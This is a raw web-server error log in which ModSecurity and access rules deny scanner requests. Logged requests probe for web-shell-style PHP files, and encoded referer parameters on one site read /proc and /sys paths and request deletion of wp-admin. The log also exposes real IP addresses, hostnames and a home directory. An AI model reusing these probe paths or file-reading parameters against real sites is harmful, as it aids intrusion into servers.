"webmail.eoz.fiz.mybluehost.me"] [uri "/index.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VwQAAAm0"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.894397 2026] [security2:error] [pid 531155:tid 531326] [client 91.92.42.86:23142] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xECmiP80klyS0NnrtFwAAATM"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.897182 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:08:48.897468 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:08:48.903718 2026] [security2:error] [pid 531155:tid 531346] [client 91.92.42.86:23166] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/php_info.php"] [unique_id "ai3xECmiP80klyS0NnrtGAAAAUc"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.929922 2026] [security2:error] [pid 531797:tid 532125] [client 91.92.42.86:23228] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/server_info.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VxAAAApA"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.933320 2026] [security2:error] [pid 531797:tid 532018] [client 91.92.42.86:23234] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/pinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VxQAAAio"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.947456 2026] [security2:error] [pid 531797:tid 532021] [client 91.92.42.86:23236] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/portal/phpinfo.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VxgAAAi0"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.950038 2026] [security2:error] [pid 531797:tid 532041] [client 91.92.42.86:23254] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/test.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VxwAAAkA"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.950453 2026] [security2:error] [pid 531155:tid 531342] [client 91.92.42.86:23252] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/configuration.php"] [unique_id "ai3xECmiP80klyS0NnrtHAAAAUM"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:48.986638 2026] [security2:error] [pid 531797:tid 532073] [client 91.92.42.86:23032] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/functions.php"] [unique_id "ai3xEMTA7b1mZrmcA-8VyQAAAl8"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:49.140202 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.28:59286] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:49.140490 2026] [access_compat:error] [pid 531797:tid 531952] [remote 57.141.14.28:59286] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:49.167685 2026] [proxy:error] [pid 531797:tid 532048] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:49.167760 2026] [proxy_http:error] [pid 531797:tid 532048] [client 91.92.42.86:22884] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:49.168285 2026] [proxy:error] [pid 531797:tid 532048] (111)Connection refused: AH00957: http: attempt to connect to 127.0.0.1:2079 (127.0.0.1:2079) failed [Sat Jun 13 18:08:49.168322 2026] [proxy_http:error] [pid 531797:tid 532048] [client 91.92.42.86:22884] AH01114: HTTP: failed to make connection to backend: 127.0.0.1, referer: http://cpcontacts.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:08:49.277023 2026] [access_compat:error] [pid 531797:tid 531972] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:49.277486 2026] [access_compat:error] [pid 531797:tid 531972] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:49.346749 2026] [access_compat:error] [pid 531155:tid 531225] [remote 57.141.14.112:58588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:49.347022 2026] [access_compat:error] [pid 531155:tid 531225] [remote 57.141.14.112:58588] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:49.387586 2026] [security2:error] [pid 531155:tid 531214] [remote 17.246.19.75:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 75.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xESmiP80klyS0NnrtKQABbTo"] [Sat Jun 13 18:08:49.499835 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:49.500122 2026] [access_compat:error] [pid 531155:tid 531168] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:49.796235 2026] [access_compat:error] [pid 531797:tid 531941] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMTM1MTcyL2N3ZA== [Sat Jun 13 18:08:49.796673 2026] [access_compat:error] [pid 531797:tid 531941] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMTM1MTcyL2N3ZA== [Sat Jun 13 18:08:49.907177 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.27:32710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:49.907477 2026] [access_compat:error] [pid 531155:tid 531283] [remote 57.141.14.27:32710] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:49.941213 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.84:33914] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:49.941482 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.84:33914] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:49.944840 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.33:33235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:49.945167 2026] [access_compat:error] [pid 531797:tid 531968] [remote 57.141.14.33:33235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:50.007830 2026] [security2:error] [pid 531797:tid 531933] [remote 17.241.219.91:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 91.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xEsTA7b1mZrmcA-8V5AACi0U"] [Sat Jun 13 18:08:50.024615 2026] [security2:error] [pid 531155:tid 531302] [client 191.234.188.123:31892] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/m7rpo0.php"] [unique_id "ai3xEimiP80klyS0NnrtOwAAARs"] [Sat Jun 13 18:08:50.029834 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:08:50.030096 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNl [Sat Jun 13 18:08:50.144880 2026] [security2:error] [pid 531155:tid 531362] [client 191.233.234.186:44784] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/fix.php"] [unique_id "ai3xEimiP80klyS0NnrtPwAAAVc"] [Sat Jun 13 18:08:50.211380 2026] [access_compat:error] [pid 531155:tid 531233] [remote 57.141.14.28:59302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:50.211657 2026] [access_compat:error] [pid 531155:tid 531233] [remote 57.141.14.28:59302] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:50.272258 2026] [access_compat:error] [pid 531797:tid 531886] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:50.272537 2026] [access_compat:error] [pid 531797:tid 531886] [remote 216.73.217.87:16924] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:50.291033 2026] [access_compat:error] [pid 531797:tid 531885] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:50.291291 2026] [access_compat:error] [pid 531797:tid 531885] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:50.305205 2026] [security2:error] [pid 531797:tid 531876] [remote 17.246.23.106:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xEsTA7b1mZrmcA-8V7wACIgw"] [Sat Jun 13 18:08:50.316588 2026] [security2:error] [pid 531797:tid 532075] [client 191.234.188.123:48065] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/filexp.php"] [unique_id "ai3xEsTA7b1mZrmcA-8V8AAAAmE"] [Sat Jun 13 18:08:50.465349 2026] [security2:error] [pid 531155:tid 531335] [client 213.180.203.130:63574] ModSecurity: Access denied with code 429 (phase 2). Pattern match "Mozilla\\\\/5\\\\.0 \\\\(compatible; YandexBot\\\\/3\\\\.0; \\\\+http:\\\\/\\\\/yandex\\\\.com\\\\/bots\\\\)" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/othercrawler.conf"] [line "3"] [id "901008"] [msg "Yandex Crawler 429 ADDED BY MONITORING DO NOT WHITELIST"] [hostname "salserodeacero.net"] [uri "/robots.txt"] [unique_id "ai3xEimiP80klyS0NnrtSAAAATw"] [Sat Jun 13 18:08:50.473128 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:50.473402 2026] [access_compat:error] [pid 531155:tid 531158] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkxL25ldA== [Sat Jun 13 18:08:50.476286 2026] [security2:error] [pid 531797:tid 532120] [client 191.234.188.123:40544] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/sapez.php"] [unique_id "ai3xEsTA7b1mZrmcA-8V9gAAAow"] [Sat Jun 13 18:08:50.575595 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:50.576021 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:08:50.748241 2026] [access_compat:error] [pid 531797:tid 531935] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L25ldA== [Sat Jun 13 18:08:50.748527 2026] [access_compat:error] [pid 531797:tid 531935] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNDcxOTc3L25ldA== [Sat Jun 13 18:08:50.792047 2026] [security2:error] [pid 531797:tid 532065] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/reflection/tests/001.phpt"] [unique_id "ai3xEsTA7b1mZrmcA-8WAQAAAlc"] [Sat Jun 13 18:08:50.875565 2026] [security2:error] [pid 531155:tid 531289] [client 20.151.217.54:17082] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xEimiP80klyS0NnrtVQAAAQ4"] [Sat Jun 13 18:08:50.961289 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:08:50.961593 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQwL2V2ZW50MC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:08:51.122548 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.82:45108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:51.123047 2026] [access_compat:error] [pid 531155:tid 531157] [remote 57.141.14.82:45108] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:51.328992 2026] [access_compat:error] [pid 531797:tid 531920] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 